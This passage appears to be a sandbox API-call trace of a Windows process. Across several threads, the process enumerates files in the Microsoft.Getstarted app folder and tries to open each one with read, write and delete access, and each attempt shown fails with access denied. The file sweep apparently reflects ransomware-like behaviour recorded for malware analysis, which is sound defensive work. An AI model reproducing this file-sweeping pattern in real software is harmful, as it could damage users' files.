	[0091.858] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c5109, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.858] wcscmp (_String1="..", _String2=".") returned 1
	[0091.858] wcscmp (_String1="..", _String2="..") returned 0
	[0091.858] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f98bb1c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f98bb1c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f98bb1c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x11c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_getconnected.xml", cAlternateFileName="")) returned 1
	[0091.858] wcscmp (_String1="doc_offline_getconnected.xml", _String2=".") returned 1
	[0091.858] wcscmp (_String1="doc_offline_getconnected.xml", _String2="..") returned 1
	[0091.858] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x5027198
	[0091.858] wcscpy (in: _Dest=0x5027198, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US"
	[0091.858] wcscat (in: _Dest=0x5027198, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\"
	[0091.858] wcscat (in: _Dest=0x5027198, _Source="doc_offline_getconnected.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml"
	[0091.858] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-us\\doc_offline_getconnected.xml")) returned 0x20
	[0091.858] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.859] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\mobile\\en-us\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.859] GetLastError () returned 0x5
	[0091.859] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.859] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5027198) 

Thread:
	id = 536
	os_tid = 0x1788

	[0077.439] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.cpub.backgroundtasks.winmd")) returned 0x20
	[0081.819] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd", dwFileAttributes=0x20) returned 0
	[0081.819] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.cpub.backgroundtasks.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.819] GetLastError () returned 0x5
	[0081.819] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.BackgroundTasks.winmd", dwFileAttributes=0x20) returned 0
	[0081.820] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e34d70) returned 1

Thread:
	id = 537
	os_tid = 0x178c

	[0077.439] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.cpub.skuinterop.winmd")) returned 0x20
	[0081.825] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd", dwFileAttributes=0x20) returned 0
	[0081.825] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.cpub.skuinterop.winmd"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0081.825] GetLastError () returned 0x5
	[0081.825] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Microsoft.CPub.SkuInterop.winmd", dwFileAttributes=0x20) returned 0
	[0081.825] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47231a0) returned 1

Thread:
	id = 538
	os_tid = 0x1790

	[0077.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x2e3b390
	[0077.440] wcscpy (in: _Dest=0x2e3b390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0077.440] wcscat (in: _Dest=0x2e3b390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0077.440] wcscat (in: _Dest=0x2e3b390, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0077.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47457a0
	[0077.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad69af3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d880b8
	[0081.824] wcscmp (_String1=".", _String2=".") returned 0
	[0081.824] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad69af3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.824] wcscmp (_String1="..", _String2=".") returned 1
	[0081.824] wcscmp (_String1="..", _String2="..") returned 0
	[0081.824] FindNextFileW (in: hFindFile=0x2d880b8, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xbad69af3, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xbad69af3, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xbad69af3, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0081.824] FindClose (in: hFindFile=0x2d880b8 | out: hFindFile=0x2d880b8) returned 1
	[0081.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47457a0) returned 1
	[0081.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e3b390) returned 1
	[0081.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47230b8) returned 1

Thread:
	id = 539
	os_tid = 0x1794

	[0077.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb2) returned 0x47c8320
	[0077.441] wcscpy (in: _Dest=0x47c8320, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources"
	[0077.441] wcscat (in: _Dest=0x47c8320, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\"
	[0077.441] wcscat (in: _Dest=0x47c8320, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\*"
	[0077.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4745a08
	[0077.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\*", lpFindFileData=0x4745a08 | out: lpFindFileData=0x4745a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c7513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fa750b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d880f8
	[0081.827] wcscmp (_String1=".", _String2=".") returned 0
	[0081.827] FindNextFileW (in: hFindFile=0x2d880f8, lpFindFileData=0x4745a08 | out: lpFindFileData=0x4745a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c7513, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fa750b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0081.827] wcscmp (_String1="..", _String2=".") returned 1
	[0081.827] wcscmp (_String1="..", _String2="..") returned 0
	[0081.827] FindNextFileW (in: hFindFile=0x2d880f8, lpFindFileData=0x4745a08 | out: lpFindFileData=0x4745a08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa4ee54, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa750b2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa750b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2e018, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetSMDL2.ttf", cAlternateFileName="")) returned 1
	[0081.827] wcscmp (_String1="GetSMDL2.ttf", _String2=".") returned 1
	[0081.827] wcscmp (_String1="GetSMDL2.ttf", _String2="..") returned 1
	[0081.827] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718010
	[0081.827] wcscpy (in: _Dest=0x4718010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources"
	[0081.827] wcscat (in: _Dest=0x4718010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\"
	[0081.827] wcscat (in: _Dest=0x4718010, _Source="GetSMDL2.ttf" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf"
	[0091.774] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\getsmdl2.ttf")) returned 0x20
	[0091.774] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0091.774] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\getsmdl2.ttf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.774] GetLastError () returned 0x5
	[0091.774] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\GetSMDL2.ttf", dwFileAttributes=0x20) returned 0
	[0091.775] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718010) returned 1
	[0091.775] FindNextFileW (in: hFindFile=0x2d880f8, lpFindFileData=0x4745a08 | out: lpFindFileData=0x4745a08*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa750b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78e843, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TopicPage", cAlternateFileName="TOPICP~1")) returned 1
	[0091.775] wcscmp (_String1="TopicPage", _String2=".") returned 1
	[0091.775] wcscmp (_String1="TopicPage", _String2="..") returned 1
	[0091.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718f80
	[0091.775] wcscpy (in: _Dest=0x4718f80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources"
	[0091.775] wcscat (in: _Dest=0x4718f80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\"
	[0091.775] wcscat (in: _Dest=0x4718f80, _Source="TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718b70
	[0091.775] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.775] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.775] wcscat (in: _Dest=0x4718b70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\*"
	[0091.775] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502f968
	[0091.775] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\*", lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa750b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78e843, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b4a8
	[0091.778] wcscmp (_String1=".", _String2=".") returned 0
	[0091.778] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7fa750b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab78e843, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7fac1569, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.778] wcscmp (_String1="..", _String2=".") returned 1
	[0091.778] wcscmp (_String1="..", _String2="..") returned 0
	[0091.778] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa750b2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa750b2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa750b2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1d6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="core.css", cAlternateFileName="")) returned 1
	[0091.778] wcscmp (_String1="core.css", _String2=".") returned 1
	[0091.778] wcscmp (_String1="core.css", _String2="..") returned 1
	[0091.778] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x477fa70
	[0091.778] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.778] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.778] wcscat (in: _Dest=0x477fa70, _Source="core.css" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css"
	[0091.778] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.css")) returned 0x20
	[0091.780] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css", dwFileAttributes=0x20) returned 0
	[0091.780] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.780] GetLastError () returned 0x5
	[0091.780] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.css", dwFileAttributes=0x20) returned 0
	[0091.780] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477fa70) returned 1
	[0091.780] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f968 | out: lpFindFileData=0x502f968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fa9b30b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7fa9b30b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7fa9b30b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x505c, dwReserved0=0x0, dwReserved1=0x0, cFileName="core.js", cAlternateFileName="")) returned 1
	[0091.780] wcscmp (_String1="core.js", _String2=".") returned 1
	[0091.780] wcscmp (_String1="core.js", _String2="..") returned 1
	[0091.780] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477fa70
	[0091.780] wcscpy (in: _Dest=0x477fa70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage"
	[0091.780] wcscat (in: _Dest=0x477fa70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\"
	[0091.780] wcscat (in: _Dest=0x477fa70, _Source="core.js" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js"
	[0091.780] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\resources\\topicpage\\core.js")) returned 0x20
	[0091.781] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\core.js", dwFileAttributes=0x20) returned 0
